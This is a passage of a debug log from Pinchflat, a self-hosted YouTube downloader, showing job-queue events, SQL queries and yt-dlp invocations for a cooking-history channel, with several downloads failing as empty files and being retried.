--print-to-file after_move:%()j /tmp/pinchflat/data/00/1f/001f5de699db476dfcd6191aa4165d6a2eaaab4a679c80a5db7b758ed80310a5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:56:47.660 [info] {"source":"oban","duration":719,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:00.003 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:57:17.661 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:57:47.662 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:00.004 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:58:17.664 [info] {"source":"oban","duration":708,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:58:47.665 [info] {"source":"oban","duration":891,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:00.005 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 02:59:17.667 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:47.668 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:59:52.669 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/33/ef/33ef1a6d0eddbb2f0f641346b0e10dd6284a23a58fc36448d1aa750fd11a04ea.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 02:59:52.669 [error] yt-dlp download error for media item #12040: "ERROR: The downloaded file is empty\n" 02:59:52.670 [debug] QUERY OK source="media_items" db=0.9ms idle=1278.0ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["ERROR: The downloaded file is empty\n", ~U[2026-03-31 06:59:52Z], 12040] 02:59:52.671 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12040},"id":1729,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":483912638,"event":"job:exception","queue_time":757532,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:59:52.677 [info] {"args":{"id":12546},"id":1728,"meta":{},"system_time":1774940392677089722,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_item","media_fetching","show_in_dashboard"]} 02:59:52.677 [debug] QUERY OK source="media_items" db=0.1ms idle=1126.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12546] 02:59:52.677 [info] User scripts lifecyle file either not present or is empty. Skipping. 02:59:52.677 [debug] QUERY OK source="sources" db=0.1ms idle=125.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:59:52.678 [debug] QUERY OK source="media_profiles" db=0.2ms idle=7.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:59:52.678 [debug] QUERY OK source="media_items" db=0.2ms idle=7.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12546] 02:59:52.679 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12546] 02:59:52.679 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:59:52.680 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:59:52.680 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:59:52.680 [debug] Running yt-dlp command for action: get_downloadable_status 02:59:52.680 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:59:52.681 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:59:52.681 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:59:52.681 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/9e/18/9e18951ed8f4563949d803c2423503b1bc8eab3fba4a4dfa95b2112294a8d369.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 02:59:56.234 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/9e/18/9e18951ed8f4563949d803c2423503b1bc8eab3fba4a4dfa95b2112294a8d369.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 02:59:56.234 [debug] Running yt-dlp command for action: download 02:59:56.235 [debug] QUERY OK source="settings" db=0.1ms idle=1843.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:59:56.235 [debug] QUERY OK source="settings" db=0.0ms idle=1843.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:59:56.235 [debug] QUERY OK source="settings" db=0.1ms idle=1843.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:59:56.235 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/16/b2/16b2fb797175a61af432be995f3abc1212d7f203938f592c74d1e260cfbfc505.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:00:00.006 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:00:17.669 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:00:47.670 [info] {"source":"oban","duration":637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:00.007 [info] {"source":"oban","duration":200,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:01:17.670 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:01:47.672 [info] {"source":"oban","duration":609,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:00.008 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:02:17.673 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:02:47.674 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:00.009 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:03:17.675 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:03:47.676 [info] {"source":"oban","duration":806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:00.010 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:04:17.678 [info] {"source":"oban","duration":775,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:47.680 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:04:57.519 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/00/1f/001f5de699db476dfcd6191aa4165d6a2eaaab4a679c80a5db7b758ed80310a5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 03:04:57.519 [error] yt-dlp download error for media item #11535: "ERROR: The downloaded file is empty\n" 03:04:57.521 [debug] QUERY OK source="media_items" db=1.4ms idle=522.2ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["ERROR: The downloaded file is empty\n", ~U[2026-03-31 07:04:57Z], 11535] 03:04:57.521 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11535},"id":1730,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":502296307,"event":"job:exception","queue_time":285224474,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:04:57.528 [info] {"args":{"id":12040},"id":1729,"meta":{},"system_time":1774940697528247279,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:04:57.528 [debug] QUERY OK source="media_items" db=0.1ms idle=136.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12040] 03:04:57.528 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:04:57.529 [debug] QUERY OK source="sources" db=0.1ms idle=137.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:04:57.529 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:04:57.530 [debug] QUERY OK source="media_items" db=0.2ms idle=7.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12040] 03:04:57.530 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12040] 03:04:57.530 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:04:57.531 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:04:57.531 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:04:57.531 [debug] Running yt-dlp command for action: get_downloadable_status 03:04:57.532 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:04:57.532 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:04:57.532 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:04:57.532 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/41/82/41825dcdc6900c90400b82d5b63885694584e84f9e8bb78c63fc90224ddbd962.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:05:00.011 [info] {"source":"oban","duration":184,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:05:01.145 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/41/82/41825dcdc6900c90400b82d5b63885694584e84f9e8bb78c63fc90224ddbd962.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 03:05:01.145 [debug] Running yt-dlp command for action: download 03:05:01.145 [debug] QUERY OK source="settings" db=0.1ms idle=1753.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:05:01.146 [debug] QUERY OK source="settings" db=0.1ms idle=1754.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:05:01.146 [debug] QUERY OK source="settings" db=0.1ms idle=1144.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:05:01.146 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/b2/fe/b2fe4b68c88d3e88b53e2558e1f14e5f942c6ec537b7e02ac493d1eb09cbe5c5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:05:17.012 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/16/b2/16b2fb797175a61af432be995f3abc1212d7f203938f592c74d1e260cfbfc505.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 03:05:17.013 [error] yt-dlp download error for media item #12546: "ERROR: The downloaded file is empty\n" 03:05:17.013 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12546},"id":1728,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":324336097,"event":"job:exception","queue_time":180458573,"attempt":2,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:05:17.020 [info] {"args":{"id":11535},"id":1730,"meta":{},"system_time":1774940717020203520,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:05:17.020 [debug] QUERY OK source="media_items" db=0.2ms idle=628.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11535] 03:05:17.020 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:05:17.021 [debug] QUERY OK source="sources" db=0.1ms idle=629.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:05:17.021 [debug] QUERY OK source="media_profiles" db=0.1ms idle=7.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", 